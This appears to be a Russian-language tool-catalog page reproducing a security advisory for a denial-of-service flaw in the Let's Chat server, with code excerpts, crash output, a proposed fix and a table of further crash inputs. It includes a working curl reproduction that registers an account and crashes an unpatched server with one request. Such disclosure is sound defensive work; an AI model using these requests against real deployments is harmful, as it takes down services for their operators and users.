Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat- — Уведомление о безопасности: непроверенный поиск комнаты приводит к сбою сервера (Let's Chat) | Kitploit
Инструменты/GitHubGitHub/theopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubtheopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat-

Уведомление о безопасности: непроверенный поиск комнаты приводит к сбою сервера (Let's Chat)

Репозиторий
23 дней назадЕщё не проверено

Бюллетень безопасности: непроверенный поиск комнаты приводит к падению сервера (Let's Chat)

Присвоенный идентификатор CVE: CVE-2026-66749

Сводка

Один HTTP-запрос от любой учётной записи останавливает процесс сервера Let's Chat.

GET /messages принимает параметр room, ищет комнату по id и затем вызывает метод для результата, не проверяя, что поиск что-то вернул. Отправьте id, который является допустимой 24-символьной шестнадцатеричной строкой, но не принадлежит ни одной комнате, и возникший TypeError будет выброшен внутри колбэка Mongoose. Express перехватывает только исключения, возникающие синхронно внутри обработчика, поэтому это исключение достигает Node как необработанное, и процесс завершается.

Затронутые версии

URL репозитория: https://github.com/sdelements/lets-chat

Уязвимость присутствует с версии 0.4.0 (коммит 84981a6, 21 февраля 2015 г., который ввёл вызов canJoin) по 0.4.8, последний выпуск. Исправленной версии не существует.

Подтверждено на 0.4.8 в коммите 617207f и на docker.io/sdelements/lets-chat:latest (0.4.7), который до сих пор можно публично скачать.

Классификация

CWE-476: разыменование нулевого указателя (NULL Pointer Dereference), ведущее к CWE-248 «Необработанное исключение» (Uncaught Exception) и CWE-400 «Неконтролируемое потребление ресурсов» (Uncontrolled Resource Consumption).

Базовый балл CVSS 4.0: 7.1 (высокий) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Модель угроз

Атакующему нужна одна обычная учётная запись пользователя и сетевой доступ к HTTP-порту. Ему не нужно владеть комнатой или состоять в ней, знать какой-либо существующий id комнаты или иметь повышенную роль.

Требование учётной записи слабое при установке по умолчанию, поскольку auth.local.enableRegistration по умолчанию имеет значение true в defaults.yml, поэтому любой, кто может открыть страницу входа, может создать учётную запись и выполнить запрос.

Ни Procfile (web: npm start), ни docker/docker-compose.yml не настраивают супервизор или политику перезапуска, поэтому в стандартном развёртывании один запрос останавливает сервис до тех пор, пока оператор не перезапустит его. Если оператор добавил наблюдение за процессом, атакующий может просто повторить запрос.

Технические подробности

Маршрут не регистрирует промежуточное ПО для проверки комнаты. app/controllers/messages.js:25-32:

root@kitploit:~
app.route('/messages')
    .all(middlewares.requireLogin)
    .get(function(req) {
        req.io.route('messages:list');
    })
    .post(function(req) {
        req.io.route('messages:create');
    });

Сравните app/controllers/messages.js:34-41, где вариант с привязкой к комнате действительно добавляет middlewares.roomRoute, который находит комнату и возвращает 404, когда она не существует:

root@kitploit:~
app.route('/rooms/:room/messages')
    .all(middlewares.requireLogin, middlewares.roomRoute)

Таким образом, на /messages значение room достигает менеджера без проверки. app/core/messages.js:118-129:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    var opts = {
        userId: options.userId,
        password: options.password
    };

    room.canJoin(opts, function(err, canJoin) {   // line 129: room may be null

Model.findById вызывает колбэк с (null, null), когда id корректно приводится к типу, но не соответствует ни одному документу. Там нет защиты if (!room), поэтому строка 129 разыменовывает null.

Наблюдаемый вывод:

root@kitploit:~
events.js:174
      throw er; // Unhandled 'error' event

TypeError: Cannot read property 'canJoin' of null
    at /usr/src/app/app/core/messages.js:129:14
    at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)

Воспроизведение

Для стандартной установки на порту 5000 без изменений конфигурации:

root@kitploit:~
BASE=http://localhost:5000

# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","email":"[email protected]",
       "password":"Passw0rd!23","password-confirm":"Passw0rd!23",
       "firstName":"M","lastName":"M","displayName":"M"}'

# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","password":"Passw0rd!23"}'

# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"

Шаг 3 возвращает пустое тело ответа, и curl завершается с кодом 52 (пустой ответ от сервера). Процесс сервера завершён. Подойдёт любой id из 24 шестнадцатеричных символов, не соответствующий ни одной комнате.

Другие проявления того же дефекта

express.oi регистрирует каждый ключ app.io.route(...) как обычный обработчик socket.on(...) (initRoutes в node_modules/express.oi/lib/index.js). Поэтому аутентифицированный клиент socket.io может вызывать эти обработчики напрямую, минуя цепочку промежуточного ПО Express, включая roomRoute. Это также убирает try/catch Express, поэтому синхронное исключение, которое по HTTP было бы ошибкой 500, по socket.io завершает процесс.

Каждый из следующих случаев также завершает процесс. Все они подтверждены.

Предлагаемое исправление

Добавьте проверки результатов поиска. В app/core/messages.js:118 и app/core/files.js:156:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    if (!room) {
        return cb(null, []);
    }
    ...

app/core/rooms.js:234 требует той же обработки перед вызовом sanitizeRoom, а app/core/rooms.js:248 должен отклонять отсутствующий или нестроковый options.identifier.

Два изменения закрыли бы весь класс уязвимостей, а не только перечисленные случаи. Во-первых, приводите к нужному типу и проверяйте параметры запроса, которые предполагаются строками (expand, room, id, take, skip), на границе контроллера. Во-вторых, оберните диспетчеризацию обработчиков socket.io в try/catch и добавьте обработчик process.on('uncaughtException'), чтобы один некорректный запрос превращался в ответ с ошибкой, а не останавливал сервер.

Скачать инструмент
Доступно черезВходные данныеМесто исключения
HTTP и socket.iomessages:list, room установлен в несуществующий idapp/core/messages.js:129
HTTP и socket.iofiles:list, room установлен в несуществующий idapp/core/files.js:167
socket.iorooms:get с несуществующим id или без idapp/core/rooms.js:213 через :234
socket.iorooms:users без комнатыapp/core/rooms.js:248
socket.iorooms:join без idapp/core/rooms.js:248
socket.iomessages:list с expand в виде массиваapp/core/messages.js:97
socket.iofiles:list с expand в виде массиваapp/core/files.js:139
socket.iousers:get с id в виде объектаapp/models/user.js:139